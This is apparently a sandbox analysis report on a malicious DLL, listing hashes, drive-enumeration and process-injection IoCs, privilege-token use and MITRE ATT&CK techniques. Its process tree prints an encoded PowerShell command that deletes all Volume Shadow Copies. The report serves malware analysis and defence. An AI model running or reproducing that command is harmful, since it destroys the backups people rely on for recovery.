4c1b8b3bd83e588c701568aa9469ff3a1e9725c1b838efdf8683a1edafaefe45

General

Target

4c1b8b3bd83e588c701568aa9469ff3a1e9725c1b838efdf8683a1edafaefe45.dll
Size

164KB
MD5

dabfce6b547a68ba41080fd00bc699e3
SHA1

9bb24e56e317c6bb3bf27dbe688507d200c9a792
SHA256

4c1b8b3bd83e588c701568aa9469ff3a1e9725c1b838efdf8683a1edafaefe45
SHA512

93f95b33b9093b6daa49eac1deabf7c48196020b43ddfb8b5faf128b5f5788756fd0a1d6acdcd26dd40d04fc64cb3e27bce95837065835f227b767f34cd5fb28

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2008 rundll32.exe
572 powershell.exe

pid	process
2008	rundll32.exe
572	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	572	powershell.exe
Token: SeBackupPrivilege	748	vssvc.exe
Token: SeRestorePrivilege	748	vssvc.exe
Token: SeAuditPrivilege	748	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1940 wrote to memory of 2008	1940	rundll32.exe	rundll32.exe
PID 1940 wrote to memory of 2008	1940	rundll32.exe	rundll32.exe
PID 1940 wrote to memory of 2008	1940	rundll32.exe	rundll32.exe
PID 1940 wrote to memory of 2008	1940	rundll32.exe	rundll32.exe
PID 1940 wrote to memory of 2008	1940	rundll32.exe	rundll32.exe
PID 1940 wrote to memory of 2008	1940	rundll32.exe	rundll32.exe
PID 1940 wrote to memory of 2008	1940	rundll32.exe	rundll32.exe
PID 2008 wrote to memory of 572	2008	rundll32.exe	powershell.exe
PID 2008 wrote to memory of 572	2008	rundll32.exe	powershell.exe
PID 2008 wrote to memory of 572	2008	rundll32.exe	powershell.exe
PID 2008 wrote to memory of 572	2008	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4c1b8b3bd83e588c701568aa9469ff3a1e9725c1b838efdf8683a1edafaefe45.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1940

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4c1b8b3bd83e588c701568aa9469ff3a1e9725c1b838efdf8683a1edafaefe45.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:572

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:908

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:748

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/572-56-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

Filesize
8KB

Download
memory/572-57-0x000007FEF3170000-0x000007FEF3CCD000-memory.dmp

Filesize
11.4MB

Download
memory/572-58-0x0000000002800000-0x0000000002802000-memory.dmp

Filesize
8KB

Download
memory/572-60-0x0000000002804000-0x0000000002807000-memory.dmp

Filesize
12KB

Download
memory/572-59-0x0000000002802000-0x0000000002804000-memory.dmp

Filesize
8KB

Download
memory/572-61-0x000000000280B000-0x000000000282A000-memory.dmp

Filesize
124KB

Download
memory/2008-55-0x00000000760F1000-0x00000000760F3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads